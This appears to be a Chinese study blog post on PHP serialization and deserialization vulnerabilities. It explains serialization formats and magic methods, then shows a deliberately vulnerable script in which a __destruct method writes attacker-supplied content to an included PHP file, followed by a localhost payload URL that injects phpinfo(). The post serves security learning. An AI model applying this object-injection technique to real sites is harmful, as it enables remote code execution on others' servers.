前言
這幾天一直在關注新管狀病毒,從微博到各大公眾號朋友圈了解感覺挺嚴重的看微博感覺特別嚴重看官方說法感覺還行那就取中間的吧 自己要會對這個東西要有理性的判斷。關注了好兩天所以耽擱了學習emmm 希望病毒早點過去吧!
反序列化漏洞
序列化和反序列化
為了有效地存儲或傳遞數據,同時不丟失其類型和結構,經常需要利用序列化和反序列化函數對數據進行處理。
反序列化函數返回字符串,此字符串包含了表示值的字節流,可以存儲於任何地方
反序列化函數對單一的已序列化的變量進行操作,將其轉換成員來的值
這兩個過程結合起來,可以輕松地存儲和傳輸數據,使程序更具維護性
PHP語言中常用的序列化和反序列化函數有serialize、unserialize、json_encode、json_decode
PHP序列化
1.serialize函數
serialize是序列化函數,PHP在序列化動作之前調用改對象的成員函數__sleep。這樣就允許對象在被序列化之前做任何清除操作。’
(1) NULL的序列化
在PHP中,NULL被序列化為N。
<?php
$str=NULL; $xl_str=serialize($str); print_r($xl_str); ?> 頁面結果為: N;
(2) Boolean型數據的序列化
Boolean型數據被序列化成b:<digit>。其中,<digit>表示0或1。當boolean型數據為false時,<digit>為0,否則為1
<?php
$str1=true; $str2=false; $xl_str1=serialize($str1); $xl_str2=serialize($str2); print_r($xl_str1."<br>"); print_r($xl_str2); ?> 頁面結果為: b:1; b:0;
(3) Integer型數據的序列化
Interger型(整型)數據被序列化為i:<number>.其中<number>為一個整型數,范圍為:-2147483648——2147483647,如果被序列化的數字超過這個范圍,則會被序列化為浮點型而不是整型。如果序列化后的數字超過這個范圍,則反序列化時不會反悔期望的數值(PHP本身序列化時不會發生這個問題)
<?php
$str1=123; $xl_str1=serialize($str1); print_r($xl_str1); ?> 頁面顯示為:i:123;
(4) Double型數據的序列化
Double型(浮點型)數據被序列化為d:<number>。其中<number>為一個浮點數,其范圍與PHP的浮點數范圍一樣,可以表示成整數形式、浮點數形式和科學計數法形式。如果序列化無窮大,則<number>為INF;如果序列化負無窮大則<number>為-INF。如果序列化后的數字超過PHP能表示的最大值,則反序列化時返無窮大(INF);如果如果序列化的數據為非數字,則被序列化為NAN,NAN反序列化時返回0,其他語言可以將NAN反序列化為相應的語言所支持的NAN表示形式
<?php
$double1=1.23; $xl_str1=serialize($double1); print_r($xl_str1); ?> 頁面顯示為:d:1.23;
(5) String型數據的序列化
String型(字符串型)數據序列化為s:<length>:”<value>”。
<?php
$str1="test xiaohua"; $xl_str1=serialize($str1); print_r($xl_str1); ?> 頁面顯示結果為:s:12:"test xiaohua";
(6) 數組的序列化
數組序列化通常被序列化為
a:<n>:{<key 1><value 1><key 2><value 2><key3><value 3><key 4><value 4>…}
<n>表示數組個數
<key>表示數組下標
<value>表示與下標相對應的數組元素值
<?php
$shu=array('xiaohua1','xiaohua2','xiaohua3'); $xl_str1=serialize($shu); print_r($xl_str1); ?> 頁面顯示結果:a:3:{i:0;s:8:"xiaohua1";i:1;s:8:"xiaohua2";i:2;s:8:"xiaohua3";}
(7) 對象的序列化
對象通常被序列化稱:
O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}
<length>:對象類名字符串長度
<class name>:對象的類名
<n>:對象中字段數 包括var、protected、private、public聲明的字段,不包括static和const聲明的靜態字符串
<field name 1><field value 1>:每個字段對應的每個字段名
<?php
class xiaohua{ public $str='xiaohua'; public $str2="huahua"; function Func(){ print("this is Func''"); } } $aaa=new xiaohua; $se=serialize($aaa); print $se; ?> 頁面顯示結果: O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} s:3:"str";s:7:"xiaohua";
解讀:s表示字符串類型,3是字段值長度 字段名稱是str。s表示字符串7表示字段值長度 字段名稱是xiaohua
PHP反序列化
反序列化
unserialize是反序列化函數
若被序列化的變量是一個對象,在重新構造對象之后,會自動調用__wakeup成員函數(如果存在)
<?php class xiaohua{ public $str='xiaohua'; public $str2="huahua"; function Func(){ print("this is Func''"); } } $aaa=new xiaohua; $se=serialize($aaa); $stra='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} '; $stra=unserialize($stra); var_dump($stra); ?> 頁面顯示結果:object(xiaohua)#2 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }
反序列化漏洞利用
反序列化漏洞利用
反序列化漏洞產生主要原因:
(1)unserialize函數的參數可控
(2)存在魔法函數
1.__construct函數和__destruct函數
void __construct([mixed $args[,$...]])
PHP5允許開發者在一個類中定義一個方法作為構造函數。具有構造函數的類會在每次創建新的對象時先調用此方法,所以__construct函數非常適合在使用對象之前做一些初始化工作。
__destruct函數
void __destruct(void)
PHP5引入了析構函數的概念,這類似於其他面向對象的語言,如C++.析構函數會在對某個對象的所有引用都被刪除或者對象被顯式銷毀時執行
示例代碼:
1 <?php 2 class xiaohua{ 3 4 function __construct(){ 5 6 print "In construct <br>"; 7 8 $this->name="my xiaohua"; 9 10 } 11 12 function __destruct(){ 13 14 print "Destruct<br>" .$this->name."\n"; 15 16 } 17 18 } 19 20 $obj=new xiaohua(); 21 22 ?> 25 執行結果: 26 In construct 27 Destruct 28 my xiaohua
創建xiaohua類的新對象時,會調用__construct函數,輸出 In construct;對象被銷毀時,會調用__destruct函數輸出 Destruct my xiaohua
2.__sleep函數和__wakeup函數
__sleep函數
Serialize函數會堅持類中是否存在__sleep函數,如果存在函數會先被調用,然后執行序列化操作。此功能可以用於清理對象,並返回一個包含對象中所有應被序列化的變量名稱數組。如果該函數未返回任何內容,則NULL被序列化,並產生一個E_NOTICE級別的錯誤.
__sleep函數不能返回父類的私有成員的名字,會產生E_NOTICE錯誤,該函數可以用serializable接口替代。
__sleep函數常用於提交未提交的數據或進行類似的清理操作。同時,如果有一些很大的對象,但不需要全部保存,則使用此功能比較好。
__wakeup函數
Unserialize函數會檢查是否存在__wakeup函數。如果存在,則會先調用__wakeup函數,預先准備對象需要的資源。
__wakeup函數經常用在反序列化操作中,例如,重新建立數據連接或者性其他初始化操作。
1 <?php 2 3 class xiaohua{ 4 5 function huahua(){ 6 7 $this->name="huahua"; 8 9 print $this->name; 10 11 } 12 13 function __wakeup(){ 14 15 echo "wakeup <br>"; 16 17 } 18 19 function __sleep(){ 20 21 echo "<br> sleep <br>"; 22 23 return array('name'); 24 } 25 26 } 27 28 $sst='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} '; 29 $sst=unserialize($sst); 30 var_dump($sst); 31 $xiaohua1=new xiaohua; 32 $xiaohua1->name="bobo"; 33 $sr=serialize($xiaohua1); 34 print $sr; 35 36 ?> 37 執行結果: 38 wakeup 39 object(xiaohua)#1 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" } 40 sleep 41 O:7:"xiaohua":1:{s:4:"name";s:4:"bobo";}
反序列化后,會自動調用__wakeup函數,輸出wakeup。序列化對象后,會自動調用__sleep函數輸出sleep
反序列化漏洞代碼分析
反序列化漏洞代碼分析
1 <?php 2 highlight_file(__FILE__); 3 class a{ 4 var $test='hello'; 5 function __destruct(){ 6 $fp=fopen("C:\phpStudy\PHPTutorial\WWW\hua.php","w"); 7 print "===".$this->test; 8 fputs($fp,$this->test); 9 fclose($fp); 10 } 11 } 12 13 $class=stripslashes($_GET['re']); 14 print $class; 15 $class_unser=unserialize($class); 16 require 'C:\phpStudy\PHPTutorial\WWW\hua.php'; 17 ?>
漏洞分析:
(1) unserialize函數的參數$class可控
(2) 存在__destruct函數,此函數會將$this->test的值寫入C:\phpStudy\PHPTutorial\WWW\hua.php文件
漏洞利用
通過參數re傳入的值要實例化a,並且改變$test的值。因為__destruct函數可以將$test的值寫入hua.php文件中,所以可以利用該函數將PHP代碼傳入hello.php文件中。
1 <?php 2 class a{ 3 var $test='<?php phpinfo();?>'; 4 } 5 $a=new a(); 6 $class_sere=serialize($a); 7 print_r($class_sere) 8 ?> 9 執行結果: 10 O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}
pyload:
http://127.0.0.1/test.php?re=O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}
參考學習:《web安全原理分析與實踐》
https://www.freebuf.com/vuls/116705.html